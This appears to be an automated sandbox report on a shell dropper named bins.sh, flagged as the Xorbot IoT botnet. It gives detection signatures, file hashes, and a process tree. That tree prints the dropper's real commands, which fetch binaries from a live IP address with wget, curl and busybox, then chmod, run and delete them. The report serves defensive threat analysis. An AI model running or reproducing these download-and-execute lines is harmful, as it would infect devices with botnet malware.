Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    5s
  • max time network
    7s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/01/2025, 04:17

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250105-ewcpratmbq
  • SHA256 c72772c053710f5d8e33f7c82811e588b2a2b25e5b9a56bfbc20c8255ba954c9
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:648
        • /usr/bin/wget
          wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:650
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod 777 ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          ./ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
          2⤵
            PID:694
          • /usr/bin/wget
            wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Writes file to tmp directory
            PID:695
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:712
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Writes file to tmp directory
            PID:727
          • /bin/chmod
            chmod 777 TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • File and Directory Permissions Modification
            PID:731
          • /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            ./TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
            • Executes dropped EXE
            PID:732
          • /bin/rm
            rm TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
            2⤵
              PID:734
            • /usr/bin/wget
              wget http://66.63.187.225/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
              2⤵
                PID:735

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
                  • Path /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
                  • Size 151KB
                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
                  • Path /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
                  • Size 98KB
                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download